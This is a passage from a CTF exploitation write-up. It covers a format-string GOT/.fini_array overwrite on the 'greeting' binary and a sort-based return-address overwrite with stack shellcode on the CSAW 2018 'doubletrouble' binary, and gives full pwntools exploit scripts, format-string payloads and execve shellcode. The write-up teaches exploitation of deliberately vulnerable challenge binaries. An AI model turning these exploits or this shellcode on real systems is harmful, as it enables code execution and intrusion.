    0xf7ff60a4 - 0xf7ff67d8 is .eh_frame_hdr in /lib/ld-linux.so.2
    0xf7ff67d8 - 0xf7ffb37c is .eh_frame in /lib/ld-linux.so.2
    0xf7ffc880 - 0xf7ffcf34 is .data.rel.ro in /lib/ld-linux.so.2
    0xf7ffcf34 - 0xf7ffcfec is .dynamic in /lib/ld-linux.so.2
    0xf7ffcfec - 0xf7ffcff4 is .got in /lib/ld-linux.so.2
    0xf7ffd000 - 0xf7ffd028 is .got.plt in /lib/ld-linux.so.2
    0xf7ffd040 - 0xf7ffd874 is .data in /lib/ld-linux.so.2
    0xf7ffd878 - 0xf7ffd938 is .bss in /lib/ld-linux.so.2
    0xf7fd40b4 - 0xf7fd40ec is .hash in system-supplied DSO at 0xf7fd4000
    0xf7fd40ec - 0xf7fd4130 is .gnu.hash in system-supplied DSO at 0xf7fd4000
    0xf7fd4130 - 0xf7fd41c0 is .dynsym in system-supplied DSO at 0xf7fd4000
    0xf7fd41c0 - 0xf7fd4255 is .dynstr in system-supplied DSO at 0xf7fd4000
    0xf7fd4256 - 0xf7fd4268 is .gnu.version in system-supplied DSO at 0xf7fd4000
    0xf7fd4268 - 0xf7fd42bc is .gnu.version_d in system-supplied DSO at 0xf7fd4000
    0xf7fd42bc - 0xf7fd434c is .dynamic in system-supplied DSO at 0xf7fd4000
    0xf7fd434c - 0xf7fd4560 is .rodata in system-supplied DSO at 0xf7fd4000
    0xf7fd4560 - 0xf7fd45c0 is .note in system-supplied DSO at 0xf7fd4000
    0xf7fd45c0 - 0xf7fd45e4 is .eh_frame_hdr in system-supplied DSO at 0xf7fd4000
    0xf7fd45e4 - 0xf7fd46f0 is .eh_frame in system-supplied DSO at 0xf7fd4000
    0xf7fd46f0 - 0xf7fd5088 is .text in system-supplied DSO at 0xf7fd4000
    0xf7fd5088 - 0xf7fd5124 is .altinstructions in system-supplied DSO at 0xf7fd4000
    0xf7fd5124 - 0xf7fd514a is .altinstr_replacement in system-supplied DSO at 0xf7fd4000
    0xf7dd7174 - 0xf7dd7198 is .note.gnu.build-id in /lib/i386-linux-gnu/libc.so.6
    0xf7dd7198 - 0xf7dd71b8 is .note.ABI-tag in /lib/i386-linux-gnu/libc.so.6
    0xf7dd71b8 - 0xf7ddb078 is .gnu.hash in /lib/i386-linux-gnu/libc.so.6
    0xf7ddb078 - 0xf7de4cc8 is .dynsym in /lib/i386-linux-gnu/libc.so.6
    0xf7de4cc8 - 0xf7deafc6 is .dynstr in /lib/i386-linux-gnu/libc.so.6
    0xf7deafc6 - 0xf7dec350 is .gnu.version in /lib/i386-linux-gnu/libc.so.6
    0xf7dec350 - 0xf7dec8b4 is .gnu.version_d in /lib/i386-linux-gnu/libc.so.6
    0xf7dec8b4 - 0xf7dec8f4 is .gnu.version_r in /lib/i386-linux-gnu/libc.so.6
    0xf7dec8f4 - 0xf7def4e4 is .rel.dyn in /lib/i386-linux-gnu/libc.so.6
    0xf7def4e4 - 0xf7def53c is .rel.plt in /lib/i386-linux-gnu/libc.so.6
    0xf7def540 - 0xf7def600 is .plt in /lib/i386-linux-gnu/libc.so.6
    0xf7def600 - 0xf7def610 is .plt.got in /lib/i386-linux-gnu/libc.so.6
    0xf7def610 - 0xf7f3c386 is .text in /lib/i386-linux-gnu/libc.so.6
    0xf7f3c390 - 0xf7f3d41b is __libc_freeres_fn in /lib/i386-linux-gnu/libc.so.6
    0xf7f3d420 - 0xf7f3d729 is __libc_thread_freeres_fn in /lib/i386-linux-gnu/libc.so.6
    0xf7f3d740 - 0xf7f5e848 is .rodata in /lib/i386-linux-gnu/libc.so.6
    0xf7f5e848 - 0xf7f5e849 is .stapsdt.base in /lib/i386-linux-gnu/libc.so.6
    0xf7f5e84c - 0xf7f5e85f is .interp in /lib/i386-linux-gnu/libc.so.6
    0xf7f5e860 - 0xf7f64dbc is .eh_frame_hdr in /lib/i386-linux-gnu/libc.so.6
    0xf7f64dbc - 0xf7fa7874 is .eh_frame in /lib/i386-linux-gnu/libc.so.6
    0xf7fa7874 - 0xf7fa7cf7 is .gcc_except_table in /lib/i386-linux-gnu/libc.so.6
    0xf7fa7cf8 - 0xf7fab410 is .hash in /lib/i386-linux-gnu/libc.so.6
    0xf7fad15c - 0xf7fad164 is .tdata in /lib/i386-linux-gnu/libc.so.6
    0xf7fad164 - 0xf7fad1b0 is .tbss in /lib/i386-linux-gnu/libc.so.6
    0xf7fad164 - 0xf7fad16c is .init_array in /lib/i386-linux-gnu/libc.so.6
    0xf7fad16c - 0xf7fad1ec is __libc_subfreeres in /lib/i386-linux-gnu/libc.so.6
    0xf7fad1ec - 0xf7fad1f0 is __libc_atexit in /lib/i386-linux-gnu/libc.so.6
    0xf7fad1f0 - 0xf7fad200 is __libc_thread_subfreeres in /lib/i386-linux-gnu/libc.so.6
    0xf7fad200 - 0xf7fad9d4 is __libc_IO_vtables in /lib/i386-linux-gnu/libc.so.6
    0xf7fad9e0 - 0xf7faed6c is .data.rel.ro in /lib/i386-linux-gnu/libc.so.6
    0xf7faed6c - 0xf7faee5c is .dynamic in /lib/i386-linux-gnu/libc.so.6
    0xf7faee5c - 0xf7faefe4 is .got in /lib/i386-linux-gnu/libc.so.6
    0xf7faf000 - 0xf7faf038 is .got.plt in /lib/i386-linux-gnu/libc.so.6
    0xf7faf040 - 0xf7fafef4 is .data in /lib/i386-linux-gnu/libc.so.6
    0xf7faff00 - 0xf7fb2a1c is .bss in /lib/i386-linux-gnu/libc.so.6

Through all of that we can see that the .fini_array is at 0x8049934:

    0x08049934 - 0x08049938 is .fini_array

For the address we will loop back to, I choose 0x8048614. This is the start of the setup for the getnline function call, and through trial and error we can see that it doesn't crash when we loop back here:

        0804860f e8 3c fe        CALL       printf                                           int printf(char * __format, ...)
                 ff ff
        08048614 c7 44 24        MOV        dword ptr [ESP + local_ac],0x40
                 04 40 00
                 00 00
        0804861c 8d 44 24 5c     LEA        EAX=>name,[ESP + 0x5c]
        08048620 89 04 24        MOV        dword ptr [ESP]=>local_b0,EAX
        08048623 e8 51 00        CALL       getnline                                         undefined getnline(undefined4 pa
                 00 00

Now brings up the question of which function's got address will we overwrite. Since the function system takes a single argument (a char pointer), ideally it would be a function that takes a single argument that is a char pointer to our input. I decided to go with the strlen, since in getnline it is called with a char pointer to our input. In addition to that, it isn't called somewhere else that would cause a crash with what we are doing. In Ghidra looking at the .got.plt memory region, we can see that the got entry is at 0x8049a54:

                             PTR_strlen_08049a54                             XREF[1]:     strlen:080484c0  
        08049a54 20 a0 04 08     addr       strlen                                           = ??

We can also find it using objdump:

$    objdump -R greeting | grep system
08049a48 R_386_JUMP_SLOT   system@GLIBC_2.0

So now the last part I need to cover is actually exploiting the format string bug. I did this by hand, and it tends to get a bit grindy. The first thing we need to do is find our input in reference to the printf call, which we can do using the %x flag:

./greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c
Hello, I'm nao!
Please tell me your name... 0000111122223333.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Nice to meet you, 0000111122223333.80487d0.ff8c4e3c.0.0.0.0.6563694e.206f7420.7465656d.756f7920.3030202c.31313030.32323131.33333232.252e3333.% :)

So we can see our input popping up 3030202c.31313030.32323131.33333232 (1 = 0x31, 2 = 0x32, 0=0x30). Through a bit of shifting around values, we can find that the format string xx0000111122223333 gives us what we need.

./greeting
Hello, I'm nao!
Please tell me your name... xx0000111122223333.%12$x.%13$x.%14$x.%15$x
Nice to meet you, xx0000111122223333.30303030.31313131.32323232.33333333 :)

Now when printf writes a value, it will write the amount of bytes it has printed. So if we need to write the value 0x804, we need to print that many bytes. Since we are writing values like 0x8048614 I choose to split it up, that way we don't need to wait several minutes for the printf call to finish. I split up each write into two seperate writes, and that is why we needed four four byte spaces, each one for a different address. For the split writes, we will first write to the lower two bytes of each address. Since the top two bytes for each of the values we are writing is the same (0x804) I choose to write those last.

Now when I ran the exploit below hand, these are the values that are written by default. At this point I know everything I need to write the exploit, except the extra number of bytes I need to print to write the correct values (to print 13 bytes we can just specify the format string %13x):

gef➤  x/x 0x8049934
0x8049934:    0x00240024
gef➤  x/x 0x8049a54
0x8049a54 <strlen@got.plt>:    0x00240024

The first write I do is the the lower two bytes of the .fini_array address 0x8049934. I need it to be the value 0x8614, and it's value right now is 0x24. So we just need to print an additional 0x8614 - 0x24 = 34288 bytes to get it to that value. Also the bytes printed before will affect future writes, so I just went through and did this for each individual write (except for the last two, since they were the same write I only needed to have one additional bytes printing for it). Subsequent writes can only be greater or equal to, not lesser.

When we try to write the higher two bytes, we run into a bit of an issue:

gef➤  x/x 0x8049934
0x8049934:    0x84908614
gef➤  x/x 0x8049a54
0x8049a54 <strlen@got.plt>:    0x84908490

The value it is writing to the higher two bytes is 0x8490, however the value we need to write is smaller than that 0x0804. So what we can do is write a larger value to it that contains the value 0x0804, however the higher portion of that number will end up outside of the area we are writing to it. In order to do this, we will need to print 33652 bytes:

>>> (0x10000 - 0x8490) + 0x804
33652

we can see that the value were writing overflows into other subsequent dwords, however it doesn't really affect us:

gef➤  x/2x 0x8049934
0x8049934:    0x08048614    0x00000002
gef➤  x/2x 0x8049a54
0x8049a54 <strlen@got.plt>:    0x08048490    0xf7d40002

With all of that, we can put it together and we get this exploit:

from pwn import *

# Establish the target process
target = process('greeting')
gdb.attach(target, gdbscript = 'b *0x0804864f')

# The values we will be overwritting
finiArray = 0x08049934
strlenGot = 0x08049a54

# The values we will be overwritting with
getline = 0x8048614
systemPlt = 0x8048490

# Establish the format string
payload = ""

# Just a bit of padding
payload += "xx"

# Address of fini array
payload += p32(finiArray)

# Address of fini array + 2
payload += p32(finiArray + 2)

# Address of got entry for strlen
payload += p32(strlenGot)

# Address of got entry for strlen + 2
payload += p32(strlenGot + 2)

# Write the lower two bytes of the fini array with loop around address (getline setup)
payload += "%34288x"
payload += "%12$n"

# Write the lower two bytes of the plt system address to the got strlen entry
payload += "%65148x"
payload += "%14$n"

# Write the higher two bytes of the two address we just wrote to
# Both are the same (0x804)
payload += "%33652x"
payload += "%13$n"
payload += "%15$n"

# Print the length of our fmt string (make sure we meet the size requirement)
print "len: " + str(len(payload))

# Send the format string
target.sendline(payload)

# Send '/bin/sh' to trigger the system('/bin/sh') call
target.sendline('/bin/sh')

# Drop to an interactive shell
target.interactive()

With that exploit, we get shell!

Array Indexing

Csaw 2018 doubletrouble Pwn 200 (The Floating)

This writeup is dedicated to Pennywise the Dancing Clown. We all float down here: https://www.youtube.com/watch?v=wHbpWtMOJTI

Let's take a look at the binary:

$ ./doubletrouble 
0xff930988
How long: 5
Give me: 15935728
Give me: 75395128
Give me: 95135728
Give me: 35715928
Give me: 82753951
0:1.593573e+07
1:7.539513e+07
2:9.513573e+07
3:3.571593e+07
4:8.275395e+07
Sum: 304936463.000000
Max: 95135728.000000
Min: 15935728.000000
My favorite number you entered is: 15935728.000000
Sorted Array:
0:1.593573e+07
1:3.571593e+07
2:7.539513e+07
3:8.275395e+07
4:9.513573e+07
$  pwn checksec doubletrouble 
[*] '/Hackery/csaw18/pwn/doubletrouble/doubletrouble'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
$  file doubletrouble 
doubletrouble: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b9a11827e910481da3ed76a1425d4c110fd0db97, not stripped

So we can see a couple of things. It appears to prompt us for a number of inputs, then it takes in those inputs and converts them to doubles. Proceeding that it does some arithmetic on those doubles, then sorts the doubles least to greatest. We can also see that we get what looks like to be a stack infoleak, but we confirm that it is a stack infoleak with gdb:

gdb-peda$ r
Starting program: /Hackery/csaw18/pwn/doubletrouble/doubletrouble 
0xffffcd68
How long: ^C

.  .  .

gdb-peda$ vmmap
Start      End        Perm Name
0x08048000 0x0804b000 r-xp /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804b000 0x0804c000 r-xp /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804c000 0x0804d000 rwxp /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804d000 0x0806f000 rwxp [heap]
0xf7dd5000 0xf7faa000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7faa000 0xf7fab000 ---p /lib/i386-linux-gnu/libc-2.27.so
0xf7fab000 0xf7fad000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7fad000 0xf7fae000 rwxp /lib/i386-linux-gnu/libc-2.27.so
0xf7fae000 0xf7fb1000 rwxp mapped
0xf7fcf000 0xf7fd1000 rwxp mapped
0xf7fd1000 0xf7fd4000 r--p [vvar]
0xf7fd4000 0xf7fd6000 r-xp [vdso]
0xf7fd6000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp [stack]

here we can see that the infoleak is from the stack (which starts at 0xfffdd000 and ends at 0xffffe000). Also some other important things we can see about the binary, it has a stack canary and RWX segments (regions of memory that we can read, write, and execute). We can also see that it is a 32 bit elf

Reversing

So starting off we have the main function (which we use Ghidra to decompile):

/* WARNING: Type propagation algorithm not settling */

undefined4 main(void)

{
  int canary;
  
  canary = __x86.get_pc_thunk.ax(&stack0x00000004);
  setvbuf((FILE *)(*(FILE **)(canary + 0x27da))->_flags,(char *)0x0,2,0);
  game();
  return 0;
}

From our perspective, the only thing we need to worry about here is that it calls game() which we can see here:

int game()
{
  int index; // esi@5
  long double sum; // fst7@7
  long double max; // fst7@7
  long double min; // fst7@7
  int favorite; // eax@7
  int result; // eax@7
  int v6; // ecx@7
  int heapQt; // [sp+Ch] [bp-21Ch]@1
  int i; // [sp+10h] [bp-218h]@4
  char *s; // [sp+14h] [bp-214h]@5
  double ptrArray[64]; // [sp+18h] [bp-210h]@1
  int canary; // [sp+21Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  printf("%p\n", ptrArray);
  printf("How long: ");
  __isoc99_scanf("%d", &heapQt);
  getchar();
  if ( heapQt > 64 )
  {
    printf("Flag: hahahano. But system is at %d", &system);
    exit(1);
  }
  i = 0;
  while ( i < heapQt )
  {
    s = (char *)malloc(0x64u);
    printf("Give me: ");
    fgets(s, 100, stdin);
    index = i++;
    ptrArray[index] = atof(s);
  }
  printArray(&heapQt, (int)ptrArray);
  sum = sumArray(&heapQt, ptrArray);
  printf("Sum: %f\n", (double)sum);
  max = maxArray(&heapQt, ptrArray);
  printf("Max: %f\n", (double)max);
  min = minArray(&heapQt, ptrArray);
  printf("Min: %f\n", (double)min);
  favorite = findArray(&heapQt, (int)ptrArray, -100.0, -10.0);
  printf("My favorite number you entered is: %f\n", ptrArray[favorite]);
  sortArray(&heapQt, (int)ptrArray);
  puts("Sorted Array:");
  result = printArray(&heapQt, (int)ptrArray);
  if ( *MK_FP(__GS__, 20) != canary )
    _stack_chk_fail_local(v6, *MK_FP(__GS__, 20) ^ canary);
  return result;
}

So we can see how this game goes down. It first starts by printing the address of ptrArray for the infoleak, which we later see is where our input is stored as a double. scanning in an integer into heapQt. Proceeding that it checks to make sure it isn't greater than 64 (this is because ptrArray is only big enough to hold 64 doubles). If it is, the program exits and prints the address of system to taunt us for being bad. Proceeding that it enters into a for loop which runs heapQt times, which each time it scans in 100 bytes of data into the heap, then converts it into a double, and stores it in the array ptrArray. Proceeding that, it runs a number of sub functions with heapQt and ptrArray as arguments.

Looking at the sumArray, maxArray, and minArray functions, they do pretty much what we would expect them to do. However when we get to findArray, that's when we see something intersting:

int __cdecl findArray(int *heapQt, int ptrArray, double a3, double a4)
{
  int v5; // [sp+1Ch] [bp-4h]@1

  _x86_get_pc_thunk_ax();
  v5 = *heapQt;
  while ( *heapQt < 2 * v5 )
  {
    if ( *(double *)(8 * (*heapQt - v5) + ptrArray) > (long double)a3
      && a4 > (long double)*(double *)(8 * (*heapQt - v5) + ptrArray) )
    {
      return *heapQt - v5;
    }
    *heapQt += (int)&GLOBAL_OFFSET_TABLE_ + 0xF7FB4001;
  }
  *heapQt = v5;
  return 0;
}

Particularyly this line is interesting:

  *heapQt = v5;

This dereferences a ptr to heapQt and writes a value to it. This is interesting to us, since it will allow us to change the value of heapQt, which is then passed as an argument to sortArray. Looking at the condition (since a3 is -10 and a4 is -100), it appears that a value between -10 and -100 will trigger the write (I used -23). The write appears to increase the value of heapQt. Next up we have the sortArray function:

signed int __cdecl sortArray(_DWORD *heapQt, int ptrArray)
{
  double v2; // ST08_8@4
  int i; // [sp+0h] [bp-10h]@1
  int j; // [sp+4h] [bp-Ch]@2

  _x86_get_pc_thunk_ax();
  for ( i = 0; i < *heapQt; ++i )
  {
    for ( j = 0; j < *heapQt - 1; ++j )
    {
      if ( *(double *)(8 * j + ptrArray) > (long double)*(double *)(8 * (j + 1) + ptrArray) )
      {
        v2 = *(double *)(8 * j + ptrArray);
        *(double *)(8 * j + ptrArray) = *(double *)(ptrArray + 8 * (j + 1));
        *(double *)(8 * (j + 1) + ptrArray) = v2;
      }
    }
  }
  return 1;
}

So looking at this function, we can see that it essentially will loop through the first heapQt doubles of ptrArray. It will compare the value of that double, with the value of the double after it. If the double after it is less than the double before it, it will swap the two. So essentially it just organizes heapQt doubles, starting at the start of ptrArray from smallest to biggest double.

Exploitation

So we have a bug, where we can overwrite the number of doubles which is sorted in sortArray. We also have a stack infoleak, an executable stack, and the abillity to write data to the stack. And looking at the stack layout in IDA, we see that 16 bytes after our double array is the return address:

-00000210 ptrArray        dq 64 dup(?)
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C canary          dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)

Essentially what we will do is, we will write a greater value to heapQt than 64, that way it will start sorting data past ptrArray. Specifically, we will get it to place an address that we want where the return address is stored at ebp+0x4, which will give us code execution. We will also need to make sure the sorting algorithm leaves the stack canary in the same place, otherwise the binary will crash before we get code execution.

gdb-peda$ x/152x 0xff8969b8
0xff8969b8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff8969c8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff8969d8: 0x00000000  0xff820d84  0x00000000  0xc0370000
0xff8969e8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff8969f8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a08: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a18: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a28: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a38: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a48: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a58: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a68: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a78: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a88: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a98: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896aa8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ab8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ac8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ad8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ae8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896af8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b08: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b18: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b28: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b38: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b48: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b58: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b68: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b78: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b88: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b98: 0x00000000  0xff820d84  0x00000000  0x00000000
0xff896ba8: 0x00000000  0x00000000  0x00000000  0x0804900a
0xff896bb8: 0xff896bd8  0x1d781100  0x0804c000  0xf7f41000
0xff896bc8: 0xff896bd8  0x08049841  0xff896bf0  0x00000000
0xff896bd8: 0x00000000  0xf7d81e81  0xf7f41000  0xf7f41000
0xff896be8: 0x00000000  0xf7d81e81  0x00000001  0xff896c84
0xff896bf8: 0xff896c8c  0xff896c14  0x00000001  0x00000000
0xff896c08: 0xf7f41000  0xf7f7975a  0xf7f91000  0x00000000
gdb-peda$ i f
Stack level 0, frame at 0xff896bd0:
 eip = 0x8049733 in game; saved eip = 0x8049841
 called by frame at 0xff896bf0
 Arglist at 0xff896bc8, args: 
 Locals at 0xff896bc8, Previous frame's sp is 0xff896bd0
 Saved registers:
  ebx at 0xff896bc0, ebp at 0xff896bc8, esi at 0xff896bc4, eip at 0xff896bcc
gdb-peda$ x/x $ebp-0xc
0xff896bbc: 0x1d781100

So we can see here, an example memory layout of the stack prior to the sorting. We can see that the return adress is at 0xff896bcc (which is 0x8049841) and the stack canary is at 0xff896bbc (which is 0x1d781100). In this instance, my input ends at 0xff896bb4 with 0x0804900a00000000. Keep in mind, that when evaluating the doubles (which are 8 bytes in memory) the last 4 bytes are stored first, which are followed by the first 4 bytes. For instance.

 gdb-peda$ p/f 0x0804900a00000000
 $1 = 4.8653382194983783e-270
gdb-peda$ p/f 0xff820d8400000000
$2 = -1.5846380065386629e+306

We can see that our input largely consists of the values 4.8653382194983783e-270, which is followed by -1.5846380065386629e+306.

We can see that values that start with 0xf are really small when interpreted as a float. Thus they will float up the stack, while larger float values like 0x8049841 (which is the return address) would get moved to the bottom.

Now to get the return address overwritten, what we can do is we can make the value of heapQt that which it extense to two doubles past the return address, which will be the value 69 (hex 0x45). To get it to this value, I didn't reverse the algroithm to figure out what value get's written. I just noticed that the number of inputs I send before/after -23 (which triggers the write) influences it, so I just played with it untill I got it right.

Proceeding that, we will include three floats which their hex value begins with 0x804. They will all be less than the value 0x8049841 when converted to a float. The reason for this being, that they should be greater than all values other than the return address (0x8049841) which is the same everyt time, so it will occupy the value before, after, and the same as the return address. Now because the value we have in the return address has to start with 0x804 and be less than 0x8049841, this limits us to what we can call to certain sections of the code, such as certain ROP gadgets. However we find one that meets our needs:

ROPgadget --binary doubletrouble | grep 804900a
0x0804900a : ret

This particular rop gadget fits our needs for two reasons. The first is that when converted to a float, it is less than 0x8049841 so it will be before it after the sorting. The second reason is that all it does is just returns. This is beneftitial to us, since all it will do is just continue to the next address and execute it, which will be the last 4 bytes of the next double. We can place the stack address of our shellcode (we know it from the stack infoleak, and the stack is executable). With the first four bytes of the double, we can put a value between 0x804900a and 0x8049841. That way this double will always come between the actual return address, and 0x804900a. This will allow us to execute our shellcode on the stack, which we can't simply just push it into the return address spot, since it starts with 0xff and will just float to the top.

The value that we will have before the 0x804900a double will be 0x800000000000000. The reason for this, is it will occupy the spot between the stack canary and the 0x804900a double. This way, after the sorting, the stack canary will remain in the same spot. Of course, this will only work if the stack canary's value is less tgab 0x8000000, but bigger than the previous double. This gives us a range of about 8 different bytes which the stack canary could be which our exploit would work. The thing is since the stack canary is a random value (will the first three bytes for x86 are, the fourth is always a null byte), and since the position of everything depends on it's value with respect to other floats, we will have to assume that the stack canary is within a certain value in order for our exploit to work. For testing purposes we can just set the stack canary to the value within the range. When we go ahead and run the exploit for real, we can just brute force the canary value we need by running the exploit again and again untill we get a stack canary value within the range we need.

The last thing we need to worry about is our shellcode, since we will need to know where it is on the stack to execute it, and we also need to make sure it stays intact and in the correct order after it is sorted. The way I accomplished this is by appending the 0x90 byte a certain amount of times tot he front of ceratin parts of shellcode. This is because when executed 0x90 is the opcode for NOP which continues execution and doesn't effect our shellcode in any important way, and it will be evaluated as less than values starting with 0x804 so it won't affect the stack canary or what we did to write over the return address.

However when we insert the NOPs into our shellcode, we will have to rewite/recompile the shellcode. The reason for this, is because if we just insert NOPs into random places, there is a good chance we will insert a NOP in the middle of an instruction, which will change what the instruction does. Also note, the base shellcode I did not write. I grabbed it from http://shell-storm.org/shellcode/files/shellcode-599.php and modified it. Also I found that this website which is an online x86/x64 decompiler/compiler helped https://defuse.ca/online-x86-assembler.htm:

here is the shellcode before we modified it:

0:  6a 17                   push   0x17
2:  58                      pop    eax
3:  31 db                   xor    ebx,ebx
5:  cd 80                   int    0x80
7:  50                      push   eax
8:  68 2f 2f 73 68          push   0x68732f2f
d:  68 2f 62 69 6e          push   0x6e69622f
12: 89 e3                   mov    ebx,esp
14: 99                      cdq
15: 31 c9                   xor    ecx,ecx
17: b0 0b                   mov    al,0xb
19: cd 80                   int    0x80 

This shellcode is 27 bytes. After we figure out how to split the individual commands up with \x90s in a way that the instructions will still execute properly, and after the sorting the shellcode will be in the proper order, we get the following segments:

0x9101eb51e1f7c931:

0x90909068732f2f68:

0x9090406e69622f68:

0x900080cd0bb0e389:

keep in mind, because of how the data is stored, the last four bytes will be executed first. After a lot of trial and error, we see that this is our shellcode:

gdb-peda$ x/16i 0xffff7ca0
   0xffff7ca0: xor    ecx,ecx
   0xffff7ca2: mul    ecx
   0xffff7ca4: push   ecx
   0xffff7ca5: jmp    0xffff7ca8
   0xffff7ca7: xchg   ecx,eax
   0xffff7ca8: push   0x68732f2f
   0xffff7cad: nop
   0xffff7cae: nop
   0xffff7caf: nop
   0xffff7cb0: push   0x6e69622f
   0xffff7cb5: inc    eax
   0xffff7cb6: nop
   0xffff7cb7: nop
   0xffff7cb8: mov    ebx,esp
   0xffff7cba: mov    al,0xb
   0xffff7cbc: int    0x80

Also to find the offset from the infoleak to where our shellcode is, we can just run the exploit once with our shellcode, and see where our shellcode ends up in respect to the stack infoleak. When I did this, I found that the offset was +0x1d8 bytes from the infoleak.

tl ; dr

A quick overview of this challenge

*  Program scans in up to 64 doubles, and sorts them from smallest to largest
*  Bug in `findArray` allows us to overwrite the float count with a larger value, thus when it sorts the doubles, it will sort values past our input, allowing us to move the return address.
*  Format payload to call rop gadget, then shellcode on the stack using stack infoleak. The canary has to be within a set range. 
*  Format the shellcode to be together after the sorting
*  Brute force the stack canary untill it is within a range that wouldn't crash our exploit

Exploit

putting it all together, we get the following exploit:

# Import the libraries
from pwn import *
import struct

# Establish the target
#target = process('./doubletrouble')
#gdb.attach(target, gdbscript='b *0x8049733')
target = remote('pwn.chal.csaw.io', 9002)

# Get the infoleak, calculate the offset to our shellcode
stack = target.recvline()
stack = stack.replace("\x0a", "")
stack = int(stack, 16)
scadr = stack + 0x1d8

# Create the integer we will create, that will be stored as the double after the ROPgadget 0x804900a, which is the first return address we put
ret = "0x8049010" + hex(scadr).replace("0x", "")
ret = int(ret, 16)

# Scan in some of the input 
target.recvuntil("How long: ")


# Etsablish the four blocks as floats, which make up our shellcode
s1 = "-9.455235083177544e-227"# 0x9101eb51e1f7c931
s2 = "-6.8282747051424842e-229"# 0x90909068732f2f68 
s3 = "-6.6994892300412978e-229"# 0x9090406e69622f68
s4 = "-1.3287388429188698e-231"# 0x900080cd0bb0e389
# shellcode does the following:
'''
   0xffff7ca0: xor    ecx,ecx
   0xffff7ca2: mul    ecx
   0xffff7ca4: push   ecx
   0xffff7ca5: jmp    0xffff7ca8
   0xffff7ca7: xchg   ecx,eax
   0xffff7ca8: push   0x68732f2f
   0xffff7cad: nop
   0xffff7cae: nop
   0xffff7caf: nop
   0xffff7cb0: push   0x6e69622f
   0xffff7cb5: inc    eax
   0xffff7cb6: nop
   0xffff7cb7: nop
   0xffff7cb8: mov    ebx,esp
   0xffff7cba: mov    al,0xb
   0xffff7cbc: int    0x80
'''

# Send the amount of floats we will input, and then send the first 5
target.sendline('64')
for i in range(5):

   target.sendline('-1.5846380065386629e+306')#0xff820d8400000000

# Send the value which will trigger the bug to write over heapQt
target.sendline('-23')

# Send the rest of the filler floats
for i in range(51):
   target.sendline('-1.5846380065386629e+306')#0xff820d8400000000

# This is the value which will be between the stack canary, and the double which occupies the return address
target.sendline('3.7857669957336791e-270')#0x0800000000000000

# Send the shellcode blocks
target.sendline(s1)
target.sendline(s2)
target.sendline(s3)
target.sendline(s4)

# Send the double which will reside after the return address double, which will store the address of our shellcode in the last four bytes. 
# We have to convert the int to a float, so it's stored in memory correctly
target.sendline("%.19g" % struct.unpack("<d", p64(ret)))

# Send the double which will occupy the return address with the gadget 0x804900a: ret
target.sendline('4.8653382194983783e-270')#0x804900a00000000

# Drop to an interactive shell
target.interactive()

we have to run the exploit several times before it works (due to the fact that we need the first byte of the canary to be in a certain range). But once it is, we get this:

$  python exploit.py 
[+] Opening connection to pwn.chal.csaw.io on port 9002: Done
[*] Switching to interactive mode
64
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-23
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
